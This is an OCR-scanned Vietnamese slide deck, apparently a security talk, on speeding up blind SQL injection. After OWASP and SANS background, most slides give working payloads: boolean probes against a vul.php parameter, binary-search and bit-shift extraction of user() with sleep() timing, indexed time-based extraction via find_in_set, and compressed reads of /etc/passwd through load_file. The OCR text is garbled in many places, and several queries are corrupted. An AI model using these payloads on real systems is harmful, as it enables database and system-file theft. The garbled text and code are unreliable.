1. Trang chủ
  2. » Công Nghệ Thông Tin

Tối ưu hóa tấn công Blind Sql Injection quá nhanh và quá nguy hiểm potx

31 1,1K 9
Tài liệu được quét OCR, nội dung có thể không chính xác
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Tối ưu hóa tấn công Blind Sql Injection quá nhanh và quá nguy hiểm
Tác giả Gamma95
Chuyên ngành An toàn Thông Tin
Thể loại Báo cáo khoa học
Định dạng
Số trang 31
Dung lượng 897,55 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

10 điểm yêu ứng dụng web theo xếp hạng OWASP 25 lỗi phần mềm nguy hiểm nhất theo xếp hang cua SANS Blind sql injection la gi?. Tôi ưu bằng cách dùng phép dịch bit Tối ưu bằng cách dùng

Trang 1

=” MWe MU IU Maley Mrclamerelate

Trang 2

10 điểm yêu ứng dụng web theo xếp hạng OWASP

25 lỗi phần mềm nguy hiểm nhất theo xếp hang cua SANS

Blind sql injection la gi?

Lam sao dé kiêm tht? blind sql injection?

Lam sao dé tan dung blind sql injection?

Tôi ưu bằng cách dùng phép dịch bit Tối ưu bằng cách dùng phép dịch bit dựa vào kết quất

được đánh chỉ mục

Tôi wu blind sql injection theo chi muc thoi gian nghỉ

Tôi wu blind sal injection theo dé liéu nén

Hỏi và cùng trả lời

Trang 3

5 phut cho phan chan nhat

§ whoami >/dev/nu!

y

Trang 4

Triên lãm truyện tranh

EXPLOITS OF A MOM

HI, THIS 1S

YOUR SON'S SCHOOL

WERE HAVING SOME

DID YOU REALLY

NAME YOUR SON

Robert’); DROP

TABLE Stulerts;-~ ?

~ 0H, YES LITTLE ROBBY TABLES,

Trang 5

Đừng đặt tên đứa trẻ :

Trang 6

10 điểm yêu ứng dụng web theo xếp hạng

OWASP

¢Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query The attacker's hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data

Trang 7

25 loi phan mém nguy hiém nhat theo xép

hang cua SANS

Weakness Prevalence High Consequences Data loss, Security bypass

Remediation Cost Low Ease of Detection Easy

Attack Frequency Often Attacker Awareness High

Discussion

These days, it seems as if software is all about the data: getting it into the database, pulling it from the database, massaging it intc information, and sending it elsewhere for fun and profit If attackers can influence the SQL that you use to communicate with your database, then suddenly all your fun and profit belongs to them If you use SQL queries in security controls such as authentication, attackers could alter the logic of those queries to bypass security They could modify the queries to steal, corrupt, or otherwise change your underlying data They'll even steal data one byte at a time if they have to, and they have the patience and know-how

to do so In 2011, SQL injection was responsible for the compromises of many high-profile organizations, including Sony Pictures, PBS, MySQL.com, security company HBGary Federal, and many others

Technical Details | Code Examples | Detection Methods | References

Prevention and Mitigations

Trang 8

Làm sao đề kiêm tht? blind sql injection? _ Attacker chèn câu truy van:

where | rue where -alse

VD:

vul.php?id =1 and |="

y

Ung dung khong tra về thông tin có thể thay được

từ CSDL hay từ những thông điệp lôi

_ Attacker khong thay dé liéu duoc trích xuất từ

CSDL

vul.php?id = 1 and 1 =2

Trang 9

Làm sao đề kiêm tht? blind sql injection?

Trang 10

Lam sao dé tan dung blind sal

injection’? y

Trang 11

Tìm kiêm nhị phân

4 5 6 / 6 9 10111215 14

3 9 12 14 1/ 19 22 25 2/ 28 33

9 12

a 19 22 25 2/ 28

aN 19 22

LN

22

2/ 26

VAN 2/

Trang 12

Tan céng blind sql injection bằng phương

pháp tim kiêm nhị phân

Nếu có sự phản hôi khác biệt:

Attacker có thể trích xuất mọi thông tin từ

CSDL

VD:

vul.php?id=1 and mid(user(),1,1)>'o' and mid(user(),1,1)

#néu dung, chia déi va truy van tiép

vul.php?id=1 and mid(user(),1,1) < ‘M1

Trang 13

Tôi ưu bằng cách dùng phép dịch bit

mysql> select if((ascii(mid(user(),1,1)))>>7=1,sleep(5),null);

1 row in set (0.00 sec)

mysql> select if((ascii(mid(user(),1,1)))>>7=0,sleep(5),null);

Trang 14

1 row in set (0.00 sec)

mysql> select if((ascii(mid(user(),1,1)))>>6=1,sleep(5),null);

| if ((ascii(mid(user(),1,1)))>>6=1,sleep(5),nulLl) |

ae

ttl eo =

1 row in set (5.01 sec)

NEW Tai tae eee

Kết quả kế tiếp có thê là:

010 = 2

011=3

Trang 15

Tôi ưu bằng cách dùng phép dịch bit

(3) IIY5qÍ> select 1ƒ((asc11(m1d{user(),1,1)))>>9=114,seep(5),nuL{);

] r0w in set (5.00 sec]

Voi ky thuat dich bit trén, chi can / truy van, sé doan đúng chính xác “ ‹¿/ :¿:

Trang 16

Tôi ưu bằng cách dùng phép dịch bit dựa

vào kêt quả đã được đánh chỉ mục

Trang 17

Tôi ưu bằng cách dùng phép dịch bit dựa

vào kêt quả đã được đánh chỉ mục (2)

Trang 18

Tôi ưu bằng cách dùng phép dịch bit dựa

vào kêt quả đã được đánh chỉ mục (3)

Khi ép kiểu lại, chúng ta biết rằng

CAST(Pb'11' AS DEC) là số 3 tương ứng

với 'c' trong danh sách, tat ca chi ton 3

truy vân!

Danh sách dài 5 , BIN(45) = ¡0:10

cling chi mat 7 truy van cho ky ty o vi tri

Cuol cung danh sách.

Trang 19

Thông kê số truy vận cho mỗi phương pháp đã đề cập

(VD: table name= "CHARACTER_ SET")

FIND_IN_SET

® Bit Shifting

= Bisection

FIND_IN_SET

Trang 20

Đánh chỉ mục dựa vào thời gian nghỉ

Trang 21

Tôi ưu blind sal injection theo chi muc tho’

gian nghi

Time based blind SQL bi chi phối vào tân số các

truy van Mdi truy van chi xc dinh duy nhat © bit

SES TTT ae bit sẽ để lại nhiều “v£Ÿ

trong access log Day la van dé “bat tian”

Trang 22

Indexed time based attack

(VD)

select sleep(find in set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));

1 row in set (6.04 sec)

# index 6, value '5'

select sleep(find in set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));

1 row in set (11.00 sec)

# index 11, value '.'

select sleep(find in set(mid(@@version, 3, 1), '0,1,2,3,4,5,6,7,8,9,.'));

1 row in set (2.00 sec)

# index 2, value '1'

Mỗi truy vân sé tra vé chinh xae 1 ky tw (khong

phải 1 bit)

Trang 23

Điêu chỉnh thời gian nghỉ

._ Thời gian nghỉ có thể điều chỉnh cho bé hơn bằng

cách nhân chỉ mục với một số

._ VD: Thời gian nghỉ được điều chỉnh giảm SO VỚI

ví dụ trước

select sleep(O.5 * find in set(mad(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));

| row in set (3,00 sec]

# index 6, value '5

Trang 24

Vân đê vê độ trễ mang

Ý tưởng xuất phát từ chuyện thời gian nghỉ được tính từ

những con số đánh chỉ mục, nên hoàn toàn có thê thêm vào

những ký tự chắc chắn 0,

hơn 4

select sleep(find in set(mid(@@version, 1, 1), 'a,a,a,a,0,1,2,3,4,5,6,7,8,9,.'));

1 row in set (10.00 sec)

# index 10, value '5'

Trang 25

TOi wu blind sql injection theo

dv lieu nen

y

Trang 26

Cau chuyén chang tham tu bi teo nho

Trang 27

Tôi ưu blind sal injection theo dữ liệu

mysql> select Length(load file(‘*/etc/passwd'));

1 row in set (0.00 sec)

mysql> select Length(compress(load file('/etc/passwd'")));

1 row in set (0.00 sec)

mysql> select Length(hex(compress(load file('/etc/passwd'))));

Trang 28

Demo

Trang 30

Z

QUESTIONS

Ngày đăng: 29/03/2014, 11:20

TỪ KHÓA LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w